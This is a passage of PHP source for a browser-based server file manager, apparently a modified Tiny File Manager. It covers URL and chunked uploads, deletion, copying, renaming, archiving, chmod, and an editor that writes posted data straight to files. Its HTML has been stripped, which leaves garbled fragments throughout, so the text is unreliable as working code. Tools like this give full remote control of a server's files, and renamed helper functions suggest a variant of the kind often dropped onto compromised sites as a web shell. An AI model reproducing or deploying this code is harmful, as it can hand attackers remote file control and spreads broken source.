FM_UPLOAD_EXTENSION ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; $err = false; if (!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit; } if (!$url) { $success = false; } else { if ($use_curl) { @($fp = fopen($temp_file, "w")); @($ch = curl_init($url)); curl_setopt($ch, CURLOPT_NOPROGRESS, false); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @($success = curl_exec($ch)); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @($success = copy($url, $temp_file, $ctx)); if (!$success) { $err = error_get_last(); } } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit; } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace('/', '', fm_clean_path($_GET['del'])); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder') . ' %s ' . lng('Deleted') : lng('File') . ' %s ' . lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder') . ' %s ' . lng('not deleted') : lng('File') . ' %s ' . lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace('/', '', fm_clean_path(strip_tags($_POST['newfilename']))); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if (fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File') . ' %s ' . lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File') . ' %s ' . lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder') . ' %s ' . lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from') . ' %s ' . lng('to') . ' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from') . ' %s ' . lng('to') . ' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from') . ' %s ' . lng('to') . ' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from') . ' %s ' . lng('to') . ' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if (!is_dir($from)) { $extension_suffix = '.' . $fn_parts['extension']; } $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-' . date('YmdHis') . $extension_suffix; $loop_count = 0; $max_loop = 1000; while (file_exists($fn_duplicate) & $loop_count < $max_loop) { $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'] . '/' . $fn_parts['filename'] . '-copy' . $extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fanco($copy), fanco($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fanco($copy), fanco($fn_duplicate)), 'error'); } } else { fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); $from = $path . '/' . $f; $dest = $copy_to_path . '/' . $f; if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) and $old != '' and $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from') . ' %s ' . lng('to') . ' %s', fanco($old), fanco($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from') . ' %s ' . lng('to') . ' %s', fanco($old), fanco($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if (!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' and is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) and !FM_READONLY) { if (isset($_POST['token'])) { if (!verifyToken($_POST['token'])) { $response = array('status' => 'error', 'info' => "Invalid Token."); echo json_encode($response); exit; } } else { $response = array('status' => 'error', 'info' => "Token Missing."); echo json_encode($response); exit; } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = FM_UPLOAD_EXTENSION ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array('status' => 'error', 'info' => 'Oops! Try again'); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; if (!fm_isvalid_filename($filename) and !fm_isvalid_filename($fullPathInput)) { $response = array('status' => 'error', 'info' => "Invalid File name!"); echo json_encode($response); exit; } $targetPath = $path . $ds; if (is_writable($targetPath)) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) and !empty($tmp_name) and $tmp_name != 'none' and $isFileAllowed) { if ($chunkTotal) { $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array('status' => 'success', 'info' => "file upload successful"); } else { $response = array('status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last()); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array('status' => 'success', 'info' => "file upload successful"); } else { $response = array('status' => 'error', 'info' => "failed to open output stream"); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists($fullPath)) { $ext_1 = $ext ? '.' . $ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) . '_' . date('ymdHis') . $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else { if (rename($tmp_name, $fullPath)) { if (file_exists($fullPath)) { $response = array('status' => 'success', 'info' => "file upload successful"); } else { $response = array('status' => 'error', 'info' => 'Couldn\'t upload the requested file.'); } } else { $response = array('status' => 'error', 'info' => "Error while uploading files. Uploaded files {$uploads}"); } } } } else { $response = array('status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.'); } // Return the response echo json_encode($response); exit; } if (isset($_POST['group'], $_POST['delete'], $_POST['token']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) and count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['group'], $_POST['token']) and isset($_POST['zip']) || isset($_POST['tar']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach ($files as $file) { array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.' . $ext; } else { $zipname = 'archive_' . date('ymd_His') . '.' . $ext; } if ($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive') . ' %s ' . lng('Created'), fanco($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) and !FM_READONLY) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' and is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" and !class_exists('ZipArchive')) || ($ext == "tar" and !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if ($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path, null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (isset($_POST['chmod'], $_POST['token']) and !FM_READONLY and !FM_IS_WIN) { if (!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 040; } if (!empty($_POST['gw'])) { $mode |= 020; } if (!empty($_POST['gx'])) { $mode |= 010; } if (!empty($_POST['or'])) { $mode |= 04; } if (!empty($_POST['ow'])) { $mode |= 02; } if (!empty($_POST['ox'])) { $mode |= 01; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH = FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/", $path), -1)[0]; if (is_array($objects) and fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN and substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) and fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) and $file != '.' and $file != '..' and fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } if (isset($_GET['upload']) and !FM_READONLY) { fm_show_header(); fm_show_nav_path(FM_PATH); function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if (FM_UPLOAD_EXTENSION and $extArr) { array_walk($extArr, function (&$x) { $x = ".{$x}"; }); return implode(',', $extArr); } return ''; } ?>

:

' . PHP_EOL; } ?>

: , ', $copy_files); ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
' . lng('Image size') . ': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo '' . lng('Charset') . ': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else { if ($online_viewer == 'microsoft') { echo ''; } } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fanco($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

' . lng('Error while fetching archive info') . '

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array('shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml'); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\\.min\\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fanco($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fanco($content) . '
'; } echo $content; } ?>
' . $file . ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : ''; ?>
">
>
' . readlink($path . '/' . $f) . '' : ''; ?>
">
' . fm_get_filesize($all_files_size) . ''; ?> ' . $num_files . ''; ?> ' . $num_folders . ''; ?>
"; return; } echo "{$external[$key]}"; } function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return $ok ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } function fm_is_valid_ext($filename) { $allowed = FM_FILE_EXTENSION ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = $allowed ? in_array($ext, $allowed) : true; return $isFileAllowed ? true : false; } function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if (!is_dir($old)) { if (!$isFileAllowed) { return false; } } return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null; } function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) { continue; } if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array('label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array('label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))); case 'full': default: return array('label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path))); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.{$ext}", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if ($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) { $tr[$code] = $value["translation"]; } } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'; } if (!isset($isdarwin)) { $isdarwin = strtoupper(substr(PHP_OS, 0)) == "DARWIN"; } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = $iswin ? "for %F in (\"{$file}\") do @echo %~zF" : ($isdarwin ? "stat -f%z {$arg}" : "stat -c%s {$arg}"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile(realpath($file)); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = $size > 0 ? floor(log($size, 1024)) : 0; $power = $power > count($units) - 1 ? count($units) - 1 : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)) { foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file) { $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array('name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder); } @zip_close($arch); return $filenames; } } elseif ($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach (new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://" . $path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array('name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return strpbrk($text, '/?%*:|"<>') === FALSE ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 